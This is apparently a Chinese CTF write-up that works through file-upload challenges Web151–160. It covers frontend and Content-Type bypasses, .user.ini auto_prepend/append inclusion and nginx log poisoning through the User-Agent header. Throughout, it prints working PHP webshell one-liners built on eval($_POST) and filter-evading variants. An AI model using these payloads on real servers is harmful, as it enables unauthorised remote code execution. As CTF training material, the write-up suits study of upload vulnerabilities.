文件上传刷题

文件上传

Web151

(前端验证)

image1

在前端会有一些对后缀的过滤,前端过滤就进HTML检查元素把里面的限制语句直接删掉或者改成要上传的后缀名就能上传了,最简单方法就抓包改后缀就行了

上传一个小马就能rce

Web152

(后端验证)

image3

image4

更改content-type在HTTP协议消息头中,使用Content-Type来表示媒体类型信息。它被用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析html或仅仅展示一个文本等。

Content-Type 详解_

抓包后修改content-type 再发包就能绕过后端过滤

image5

Web153

ini文件包含绕过

image5

upload文件夹能够直接访问,说明有index.php文件,所以能够用.user.ini.user.ini漏洞

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

image8

image9

这样index.php就包含了1.txt的马然后rce

image10

也可以用日志文件包含做

Web154

image11

过滤了”php”内容 php语言对函数名、方法名、类名大小写不敏感 使用大写 或者短标签

1
<?=eval($_POST[1]);?> <?PHP eval($_POST[1]);?>

没限制就继续用.user.ini漏洞写入包含文件

Web155

同上

web156

过滤了[],用{}代替即可:

1
<?=eval($_POST{cmd});?>

web157

多过滤了分号,改一下即可:

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web158

同上

web159

同上

web160

本题多过滤了括号和反引号,而且还过滤了log,日志包含也能做,用字符串拼接(php中用.来连接字符串)构造log:

1
2
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
<script language='php'>eval($_POST[1]); </script>

这种小马在<?被过滤时用

image20

然后上传.user.ini包含该文件即可:auto_append_file=/var/www/html/upload/hack.png

然后在UA头改为想执行的命令访问主页,最后访问/upload,看看log里命令执行结果即可即可

image-20230607174625433


文件上传刷题
http://example.com/2023/06/06/web/web2/
作者
Re1ca1g
发布于
2023年6月6日
许可协议